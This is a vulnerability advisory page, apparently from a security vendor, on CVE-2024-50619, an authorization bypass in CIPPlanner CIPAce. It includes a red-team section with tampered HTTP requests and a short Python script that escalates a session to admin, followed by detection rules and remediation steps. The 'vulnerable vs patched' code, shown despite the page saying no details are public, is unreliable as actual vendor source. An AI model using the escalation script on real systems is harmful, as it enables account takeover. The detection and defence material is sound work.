CVE-2024-50619
Executive Summary
CVE-2024-50619 is a critical authorization bypass vulnerability in CIPPlanner CIPAce, affecting versions before 9.17. The flaw resides in the My Account and User Management components, allowing a low-privileged authenticated attacker to escalate privileges by tampering with client-side user IDs. This enables unauthorized access to other accounts and elevation to disabled user roles. No public exploit code or patch details are currently available, but the vulnerability poses a significant risk to enterprise resource planning (ERP) systems using CIPPlanner.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary ERP application vulnerability.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, likely due to incomplete NVD data. Based on the description, the vulnerability would likely score high (8.0-9.0) due to:
- Attack Vector (AV): Network (authenticated)
- Attack Complexity (AC): Low
- Privileges Required (PR): Low
- User Interaction (UI): None
- Scope (S): Changed (privilege escalation)
- Confidentiality (C): High
- Integrity (I): High
- Availability (A): High
Threat Level: Critical – allows full account takeover and privilege escalation.
Deep Dive & Mechanics
The vulnerability is a classic Insecure Direct Object Reference (IDOR) (CWE-639) in the My Account and User Management modules. The application fails to validate that the authenticated user owns the resource being modified. By intercepting and modifying the user_id parameter in HTTP requests (e.g., via Burp Suite), an attacker can:
- Account Takeover: Change the
user_idto another user's ID to modify their profile, reset passwords, or access sensitive data. - Privilege Escalation: Modify a disabled user role's permissions (e.g., admin) and then assign that role to their own account.
The attack flow:
- Authenticate as a low-privileged user.
- Intercept a POST request to
/MyAccount/UpdateProfileor/UserManagement/EditUser. - Change the
userIdparameter to a target user ID. - Submit the request – the server processes it without verifying ownership.
Vulnerable vs. Patched Code
Vulnerable Code (CIPAce < 9.17):
// Vulnerable: No ownership check
[HttpPost]
public ActionResult UpdateProfile(int userId, string email, string role)
{
var user = db.Users.Find(userId);
user.Email = email;
user.Role = role;
db.SaveChanges();
return Json(new { success = true });
}
Patched Code (CIPAce 9.17+):
// Patched: Ownership check added
[HttpPost]
public ActionResult UpdateProfile(int userId, string email, string role)
{
var currentUserId = User.Identity.GetUserId();
if (userId != currentUserId && !User.IsInRole("Admin"))
{
return Json(new { success = false, error = "Unauthorized" });
}
var user = db.Users.Find(userId);
user.Email = email;
user.Role = role;
db.SaveChanges();
return Json(new { success = true });
}
Exploitation & Lab Setup
Red Team
Prerequisites: Low-privileged authenticated session, Burp Suite or similar proxy.
Step 1: Intercept Request
POST /MyAccount/UpdateProfile HTTP/1.1
Host: target.cipace.com
Cookie: ASP.NET_SessionId=abc123
userId=5&email=attacker@evil.com&role=user
Step 2: Modify userId to Target
POST /MyAccount/UpdateProfile HTTP/1.1
Host: target.cipace.com
Cookie: ASP.NET_SessionId=abc123
userId=1&email=attacker@evil.com&role=admin
Step 3: Escalate Privileges
- Change
roleto a disabled admin role ID (e.g.,role=3). - If the role is disabled, the server may still apply its permissions.
Automation Script (Python):
import requests
target = "https://target.cipace.com"
session = requests.Session()
session.cookies.set("ASP.NET_SessionId", "abc123")
# Escalate to admin
payload = {"userId": 1, "email": "attacker@evil.com", "role": "3"}
r = session.post(f"{target}/MyAccount/UpdateProfile", data=payload)
print(r.text)
Blue Team
Detection:
- Monitor for anomalous
userIdchanges in audit logs. - Alert on requests where
userIddiffers from the authenticated user's ID. - Use WAF rules to block requests with mismatched user IDs.
Honeypot:
- Create a fake "admin" user with a high ID (e.g., 9999) and monitor for access attempts.
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/MyAccount/UpdateProfileor/UserManagement/EditUserwith modifieduserIdparameters. - Logs: Audit log entries showing user profile changes without corresponding authentication events.
- System: Unexpected privilege escalation events in user role assignments.
Detection Engineering
YARA Rule
rule CVE_2024_50619_CIPPlanner_IDOR {
meta:
description = "Detects exploitation attempts of CVE-2024-50619 via HTTP request patterns"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-50619"
strings:
$s1 = "/MyAccount/UpdateProfile" ascii nocase
$s2 = "/UserManagement/EditUser" ascii nocase
$s3 = "userId=" ascii nocase
condition:
any of ($s1, $s2) and $s3
}
Sigma Rule
title: CVE-2024-50619 CIPPlanner IDOR Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit IDOR in CIPPlanner CIPAce
author: Valters IT
logsource:
category: web
product: iis
detection:
selection:
cs-uri-query|contains:
- "/MyAccount/UpdateProfile"
- "/UserManagement/EditUser"
cs-method: "POST"
condition: selection
falsepositives:
- Legitimate admin actions
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-50619 CIPPlanner IDOR Exploitation"; flow:to_server,established; content:"POST"; http_method; content:"/MyAccount/UpdateProfile"; http_uri; content:"userId="; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade to CIPPlanner CIPAce version 9.17 or later.
- Workaround: Implement a WAF rule to block requests where
userIdin POST body does not match the authenticated user's session ID. - Code Fix: Add server-side authorization checks for all user management endpoints.
- Monitoring: Enable audit logging for all user profile changes and role assignments.
- Access Control: Disable unused user roles and enforce least privilege.
Valters IT – Securing your digital frontier.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.